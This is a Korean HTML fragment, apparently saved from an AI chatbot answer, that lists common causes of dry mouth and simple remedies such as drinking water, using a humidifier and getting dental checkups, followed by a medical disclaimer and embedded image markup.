짠 음식은 침샘을 자극하여 일시적으로 침 분비를 늘릴 수 있지만, 장기적으로는 침샘 기능을 떨어뜨려 구강 건조증을 악화시킬 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ed91b0160a0d11c1","c_df9be5d319fee505",null,"rc_48893411035e35dd",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://food.daily.co.kr/read3134182944"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="맵고 짠 음식 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR7r3AlzZQDK_d5CuvHt6x8GVTbVt3Gb2zJ9xMDA8ySi8kCvMKjnGTY5K-_SXoP"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://food.daily.co.kr/read3134182944" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ed91b0160a0d11c1","c_df9be5d319fee505",null,"rc_48893411035e35dd",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ2UCvuj1zD4meq2EXC2Qp0a_BeCFT36CVOum1sNbPbdTwlpdpC5PDZsWnq0YWai1jXPBUrCxkx_-yioy3ugk2MpsJtjsXLlmGAaA"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">food.daily.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 맵고 짠 음식 </div></div></single-image></response-element></div></p><h3 data-sourcepos="23:1-23:13">4. <strong>흡연</strong></h3><p data-sourcepos="25:1-25:82">흡연은 구강 건조증뿐만 아니라 다양한 구강 의 원인이 됩니다. 흡연은 침샘 기능을 저하시키고 구강 점막을 손상시켜 구강 건조증을 악화시킵니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ed91b0160a0d11c1","c_df9be5d319fee505",null,"rc_48893411035e35dd",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B1%B0%EB%A6%AC%20%ED%9D%A1%EC%97%B0"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="흡연하는 사람 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQcsVp5Jmw3WJbDMxLz9xh3BUrsl0n9R-vJKhk4q-uxcAzZpSryNcdb4hHdX5sh"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B1%B0%EB%A6%AC%20%ED%9D%A1%EC%97%B0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ed91b0160a0d11c1","c_df9be5d319fee505",null,"rc_48893411035e35dd",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 흡연하는 사람 </div></div></single-image></response-element></div></p><h3 data-sourcepos="29:1-29:19">5. <strong>입 벌리고 자기</strong></h3><p data-sourcepos="31:1-31:72">입을 벌리고 자면 입안이 건조해져 구강 건조증이 악화될 수 있습니다. 특히 건조한 환경에서 자는 경우 더욱 심해질 수 있습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ed91b0160a0d11c1","c_df9be5d319fee505",null,"rc_48893411035e35dd",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.healthweek.co.kr/news/view.php?bIdx=5360"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="입을 벌리고 자는 사람 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSw7IIT1pYH0Xby_uHangYyRzlFS78Ag9avzCL19NmaQX7OXzojgo_5NIQd7Gtp"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.healthweek.co.kr/news/view.php?bIdx=5360" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ed91b0160a0d11c1","c_df9be5d319fee505",null,"rc_48893411035e35dd",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQky_cZ7CpJtTl7J3H6nK7xhwA8n_2z45XGLU3BJMyAkCb_Xh5Gx6gDXClvj5HLQe5AK42Ze9BpUaRrWTpvFx77zxerYZyXROUA25Y44Uo"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.healthweek.co.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 입을 벌리고 자는 사람 </div></div></single-image></response-element></div></p><h3 data-sourcepos="35:1-35:15">6. <strong>스트레스</strong></h3><p data-sourcepos="37:1-37:86">스트레스는 침 분비를 감소시켜 구강 건조증을 유발할 수 있습니다. 스트레스 관리를 위해 명상, 요가 등 자신에게 맞는 방법을 찾아 실천하는 것이 좋습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ed91b0160a0d11c1","c_df9be5d319fee505",null,"rc_48893411035e35dd",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://depositphotos.com/ko/photo/stressed-man-8171108.html"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="스트레스를 받는 사람 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTgDaOneQJKOgkuvGG0Nuq_60MNzFvTfSCVeO2pJDIy-7-3aHHb86VvftNC0rpm"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://depositphotos.com/ko/photo/stressed-man-8171108.html" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ed91b0160a0d11c1","c_df9be5d319fee505",null,"rc_48893411035e35dd",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ0Q5EZPcfAswKWi6WHs42PUaTkpQItZMfP4Fy8SviCV-hnLHm9LXuTb8BI4q6NUyqkXZB9v-_HRJbQjZ_XjWj1egK73a2kbxygQds"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">depositphotos.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 스트레스를 받는 사람 </div></div></single-image></response-element></div></p><h3 data-sourcepos="41:1-41:20">7. <strong>잘못된 구강 관리</strong></h3><p data-sourcepos="43:1-43:118">강한 자극의 치약이나 구강청결제를 사용하거나, 혀를 자주 닦는 것은 오히려 구강 건조증을 악화시킬 수 있습니다. 부드러운 칫솔과 순한 치약을 사용하고, 혀를 자주 닦는 대신 혀 스크래퍼를 이용하는 것이 좋습니다.</p><p data-sourcepos="45:1-45:25"><strong>구강 건조증 해결을 위한 추가적인 노력</strong></p><ul data-sourcepos="47:1-51:0"> <li data-sourcepos="47:1-47:48"><strong>충분한 수분 섭취:</strong> 하루 8잔 이상의 물을 마셔 입안을 촉촉하게 유지합니다.</li> <li data-sourcepos="48:1-48:41"><strong>인공 침 사용:</strong> 인공 침을 사용하여 입안을 촉촉하게 유지합니다.</li> <li data-sourcepos="49:1-49:56"><strong>가습기 사용:</strong> 특히 겨울철이나 건조한 환경에서는 가습기를 사용하여 실내 습도를 유지합니다.</li> <li data-sourcepos="50:1-51:0"><strong>정기적인 치과 검진:</strong> 정기적인 치과 검진을 통해 구강 건강을 관리하고, 구강 건조증에 대한 전문적인 상담을 받습니다.</li> </ul><p data-sourcepos="52:1-52:74"><strong>주의:</strong> 구강 건조증이 심하거나 다른 과 관련이 있을 경우에는 반드시 전문가와 상담하여 적절한 를 받는 것이 중요합니다.</p><p data-sourcepos="54:1-54:21"><strong> 출처:</strong> 구글 검색</p><p data-sourcepos="56:1-56:291"><strong>Disclaimer:</strong> This information is intended for general knowledge and informational purposes only, and does not constitute medical advice. <span class="citation-0 citation-end-0 interactive-span-selected-v2">Always seek the advice of your physician or other qualified health provider with any questions you may have regarding a medical conditio<source-footnote _nghost-ng-c2343494279="" ng-version="0.0.0-PLACEHOLDER"><sup _ngcontent-ng-c2343494279="" class="superscript visible highlight" data-turn-source-index="1"> 1 </sup></source-footnote></span>n.<sources-carousel-inline _nghost-ng-c2639593659="" ng-version="0.0.0-PLACEHOLDER"><span _ngcontent-ng-c2639593659="" hide-from-message-actions="" class="button-container hide-from-message-actions ng-star-inserted">   <button _ngcontent-ng-c2639593659="" hide-from-message-actions="" aria-controls="sources" class="mat-mdc-tooltip-trigger button image-fade-on button-selected hide-from-message-actions" aria-expanded="true" jslog="220646;track:generic_click,impression" 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